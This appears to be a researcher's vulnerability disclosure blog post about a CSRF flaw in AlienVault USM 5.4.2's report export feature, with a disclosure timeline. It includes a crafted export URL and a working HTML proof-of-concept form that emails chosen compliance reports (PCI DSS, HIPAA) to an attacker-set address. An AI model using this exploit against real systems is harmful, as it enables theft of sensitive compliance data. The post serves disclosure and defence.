I usually try to avoid blogging about Cross-Site Request Forgery and Cross-Site Scripting vulnerabilities, just because they are basically everywhere – except if they can be used to achieve something cool 😉 In this specific case I have found a particularly interesting CSRF vulnerability, which allows attackers to extract very sensitive compliance information…from a costly security appliance!
Security Appliances are vulnerable too!
Some of you might know AlienVault’s Unified Security Management solution (USM), which is basically a conglomerate of a SIEM and an IDS, used as a solution for “threat detection, incident response and compliance”.
The interesting point here and also the target of the attack is the compliance part about it. The appliance has a feature called “Compliance Reports”, where it is possible to generate all kinds of Compliance reports such as PCI DSS, HIPAA or ISO amongst other (non)-Compliance reports such as internal asset and alarm reports.
One very interesting feature offered by the appliance is called “Export” – and it does what it says – exporting generated compliance reports. Besides offering different file types, it is also possible to either download or email the report to a target address.
Unfortunately the whole export functionality in AlienVault USM 5.4.2 and below is done via a single HTTP GET request against the “ossim/report/wizard_email.php” endpoint without any CSRF protection at all. So a request to export the shown “PCI DSS 3.2: Vulnerability Details” report looks like the following:
https://example.com/ossim/report/wizard_email.php?extra_data=1&name=UENJX0RTU18zXzJfX1Z1bG5lcmFiaWxpdHlfRGV0YWlscw==&format=email&pdf=true&[email protected]
What looks random at first, isn’t really random at all. The request contains the export type (“format”), the export format (“pdf=true”), the target email address (“email”) where the report will be sent to and finally also the “name” of the report to export in a base64-encoded format. When decoding the “name” parameter, you simply get the name of the report like:
PCI_DSS_3_2__Vulnerability_Details
The name parameter can simply be replaced with any other report name – approx. 240 reports are shipped with the USM, which all have a very similar format:
- Alarm_Report
- Ticket_Report
- Business_and_Compliance
- HIPAA_List_of_identified_ePHI_assets
- PCI_DSS_3_2_Database_Users_Added
- VulnerabilitiesReport
- etc.
So constructing a working CSRF exploit is fairly simple:
 <html>
<body>
<form action="https://example.com/ossim/report/wizard_email.php">
<input type="hidden" name="extra_data" value="1" />
<input type="hidden" name="name" value="UENJX0RTU18zXzJfX1Z1bG5lcmFiaWxpdHlfRGV0YWlscw==" />
<input type="hidden" name="format" value="email" />
<input type="hidden" name="pdf" value="true" />
<input type="hidden" name="email" value="email@example.com" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
When the exploit is executed against your authenticated victim, it first leads to this obvious message (the attack might be recognised by the victim at this point, however it’s already too late then):
And finally to an email containing the requested report in a convenient PDF format:
Responsible Disclosure?
A few notes about the disclosure process itself:
I have reported this vulnerability to AlienVault with full details about the vulnerability (and a preset disclosure date) on 2017-09-22 via their publicly listed email address for security issues, but even after multiple follow-up mails I have neither received a single response until today nor is there a patch available to fix this issue – these are sad news for a security vendor with a “How to Submit a Security Issue to AlienVault” page.
If you compare this behaviour to my last coordination with them (CVE-2016-6913), you might recognise similarities in the responsiveness. However according to my disclosure policy, vulnerabilities will be publicly disclosed if the vendor is unresponsive.
Update 2017-10-17:
Interestingly after my blog post I got in contact with AlienVault about this vulnerability, and they state that the fix is scheduled for version v5.4.3 within the next month. So finally, good news for AlienVault USM owners!